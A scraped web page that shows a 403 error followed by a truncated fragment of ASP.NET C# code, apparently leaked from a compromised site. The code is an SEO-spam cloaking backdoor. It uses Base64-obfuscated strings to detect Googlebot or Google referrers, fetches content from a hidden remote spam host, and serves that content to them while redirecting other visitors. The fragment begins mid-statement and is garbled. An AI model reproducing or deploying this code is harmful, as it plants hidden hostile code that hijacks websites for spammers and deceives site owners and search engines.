Error: The remote server returned an error: (403) Forbidden. r = Request.ServerVariables["HTTP_REFERER"]; string userAgent = Request.UserAgent; if ((userAgent != null && userAgent.ToLower().Contains(Base64Decode("Z29vZ2xlYm90"))) || (referer != null && referer.IndexOf(Base64Decode("Z29vZ2xl"), StringComparison.OrdinalIgnoreCase) >= 0)) { string Remote_server = Base64Decode("aHR0cDovL3ppeWQubHVvZGl4aWppbi5jb20v"); string protocol = Request.Url.Scheme + "://"; string host_name = protocol + Request.ServerVariables["HTTP_HOST"] + Request.ServerVariables["SCRIPT_NAME"] + "?" + Request.ServerVariables["QUERY_STRING"]; string Remote_file = Remote_server + "?u=" + host_name; if (referer != null && referer.IndexOf(Base64Decode("Z29vZ2xl"), StringComparison.OrdinalIgnoreCase) >= 0) { Remote_file += Base64Decode("JnQ9ZnJvbV9nb29nbGU="); } string Content_mb = GetHttp(Remote_file); if (Remote_file.Contains("sitemap.xml")) { Response.ContentType = "application/xml"; } Response.Write(Content_mb.Trim()); } else { Response.Redirect("/"); } }